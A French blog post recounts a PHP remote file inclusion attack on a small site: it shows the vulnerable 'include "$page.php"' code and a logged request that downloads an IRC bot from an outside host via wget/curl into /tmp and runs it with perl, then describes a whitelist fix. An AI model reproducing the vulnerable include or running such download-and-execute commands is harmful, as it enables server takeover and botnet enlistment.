Sécurité PHP
J'ai écrit un site pour un ami et j'ai
décidé de le faire en PHP. Jusque là, rien de bien
particulier. Après quelques recherche, je trouve un canevas me permettant de
générer diverses pages avec le même header et le même footer.
Toujours rien de particulier ... et donc ...
L'idée c'est d'avoir des pages de la forme index.php?p=un ou index.php?p=deux. J'écris donc
if (isset($HTTP_GET_VARS['p'])) {
$page = $HTTP_GET_VARS['p'];
} else {
$page = 'home';
}
include 'header.php';
include "$page.php";
include 'footer.php';
Et ça marche bien ... jusqu'à ce qu'il y ait un malveillant qui donne comme page ni un ni deux .. mais plutôt un truc du style
(extrait de log) /index.php?p=http://www.hotelalpino.com.br/ferias/vnc/cmd/cmd.txt?&cmd= cd%20/tmp; rm%20but.txt; wget%20http://eep.br/~gpereira/but.txt; fetch%20http://eep.br/~gpereira/but.txt; lwp-download%20http://eep.br/~gpereira/but.txt; curl%20-O%20http://eep.br/~gpereira/but.txt; lynx%20http://eep.br/~gpereira/but.txt; perl%20but.txt
Et là, c'est génial. Le gars fait télécharger sur ma machine (ou plutôt chez mon hébergeur) un script dans le répertoire /tmp et l'exécute. Ce script est un bot IRC qui va gentillement se connecter à IRC et attendre les commandes de son "maître". Ces commandes sont du style portscan, tcpflood, httpflood ... ah le malveillant.
Voilà, j'ai envoyé mon mail de "plainte" au site responsable de l'hébergement aparant du gars ... on verra bien. J'ai également été voir sur irc.udplink.net / #bots où je vois 5,6 bots appartenant au gars.
J'ai modifié mon fichier php afin qu'il n'accepte comme paramètres uniquement les valeurs des pages qui existent (dans l'exemple un et deux).
La question qui reste sans réponses ... comment faire brûler sa machine ^^ ... et surtout comment savoir qu'elle a brulé :-))
Commentaires
include "$page.php";
Voilà ton erreur: tu inclus une page que le visiteur peut renseigner.
Fait un tableau contenant la liste de tes pages, et appelle la page correspondant à la variable renseigné par l'URL. Et définis une page par défaut.